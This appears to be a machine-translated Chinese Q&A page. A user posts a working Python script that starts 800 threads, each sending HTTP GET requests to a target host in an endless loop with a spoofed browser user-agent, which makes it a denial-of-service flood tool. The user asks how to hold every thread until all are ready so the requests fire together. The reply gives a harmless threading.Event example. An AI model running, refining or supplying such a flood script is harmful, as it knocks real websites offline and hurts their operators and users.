我有这个工作脚本:
import socket, threading
def loop():
global threads
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url + "\r\n"
accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"
connection = "Connection: Keep-Alive\r\n"
useragent = "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\r\n"
request = get_host + useragent + accept + connection + "\r\n"
for x in range(800):
send().start()
class send(threading.Thread):
def run(self):
self.requestdefault()
def requestdefault(self):
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(url), int(urlport)))
s.send (str.encode(request))
print ("Request sent!")
except:
pass
loop()
在开始发送结束发送请求之前,如何在所有线程准备就绪之前等待程序?
答案 0 :(得分:0)
也许您需要一些通知机制。我认为你应该尝试像下面代码段的事件对象:
import threading
import time
event=threading.Event()
def main_thread():
time.sleep(10)
event.set() # notify, enable worker thread run
def worker_thread():
event.wait()
print threading.currentThread().name +" running \n"
if __name__=='__main__':
for i in xrange(0,2):
t=threading.Thread(target=worker_thread)
t.start()
main_thread()